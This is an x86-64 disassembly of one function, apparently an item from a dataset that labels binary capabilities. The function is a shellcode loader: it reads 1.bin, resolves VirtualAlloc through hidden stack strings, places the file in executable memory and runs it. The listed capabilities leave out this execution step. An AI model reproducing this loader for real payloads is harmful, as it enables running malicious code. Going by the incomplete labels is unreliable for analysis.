Function at 0x401560
Capabilities:
Get common file path
Read file on windows

Disassembly:
push rbp
sub rsp, 0x3f0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x332], 0x69622e31
mov word [rbp + 0x336], 0x6e
lea rax, [rbp + 0xe0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rax, [rbp + 0x1f0]
mov rdx, rax
lea rcx, str.1.bin
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
call rax
mov qword [rbp + 0x368], rax
cmp qword [rbp + 0x368], 0xffffffffffffffff
jne 0x4015dc
lea rcx, str.1.bin_n
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x40195f
lea rax, [rbp + 0x1f0]
lea rcx, [rax + 0x2c]
lea rdx, [rbp + 0xe0]
lea rax, [rbp - 0x30]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov rax, qword [rbp + 0x368]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x38]
lea r8, [0x00409010]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_fopen_s]
call rax
test eax, eax
setne al
test al, al
je 0x401654
lea rcx, [0x0040a022]
call sym.printf_char_const__::_
mov eax, 0xffffffff
jmp 0x40195f
mov rax, qword [rbp - 0x38]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.ftell
cdqe
mov qword [rbp + 0x360], rax
mov rax, qword [rbp - 0x38]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x360]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x358], rax
cmp qword [rbp + 0x358], 0
jne 0x4016d9
lea rcx, [0x0040a036]
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x40195f
mov rcx, qword [rbp - 0x38]
mov rdx, qword [rbp + 0x360]
mov rax, qword [rbp + 0x358]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
cmp qword [rbp + 0x360], rax
setne al
test al, al
je 0x40173d
lea rcx, str._n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x40195f
movabs rax, 0x32336c656e72654b
mov qword [rbp - 0x45], rax
mov dword [rbp - 0x3d], 0x6c6c642e
mov byte [rbp - 0x39], 0
lea rax, [rbp - 0x45]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x350], rax
cmp qword [rbp + 0x350], 0
jne 0x4017a8
lea rcx, str.Kernel32.dll_n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x40195f
movabs rax, 0x416c617574726956
mov qword [rbp - 0x52], rax
mov dword [rbp - 0x4a], 0x636f6c6c
mov byte [rbp - 0x46], 0
lea rdx, [rbp - 0x52]
mov rax, qword [rbp + 0x350]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x348], rax
cmp qword [rbp + 0x348], 0
jne 0x40182d
lea rcx, str.VirtualAlloc_n
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x350]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x40195f
mov rax, qword [rbp + 0x360]
mov r10, qword [rbp + 0x348]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
call r10
mov qword [rbp + 0x340], rax
cmp qword [rbp + 0x340], 0
jne 0x4018a7
lea rcx, [0x0040a036]
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x350]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
mov eax, 0xffffffff
jmp 0x40195f
mov rcx, qword [rbp + 0x360]
mov rdx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x340]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp + 0x340]
call rax
mov rax, qword [rbp + 0x358]
mov rcx, rax
call sym.free
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.fclose
movabs rax, 0x466c617574726956
mov qword [rbp - 0x5e], rax
mov dword [rbp - 0x56], 0x656572
lea rdx, [rbp - 0x5e]
mov rax, qword [rbp + 0x350]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x338], rax
cmp qword [rbp + 0x338], 0
je 0x401947
mov rax, qword [rbp + 0x340]
mov r9, qword [rbp + 0x338]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x350]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov eax, 0
add rsp, 0x3f0
pop rbp
ret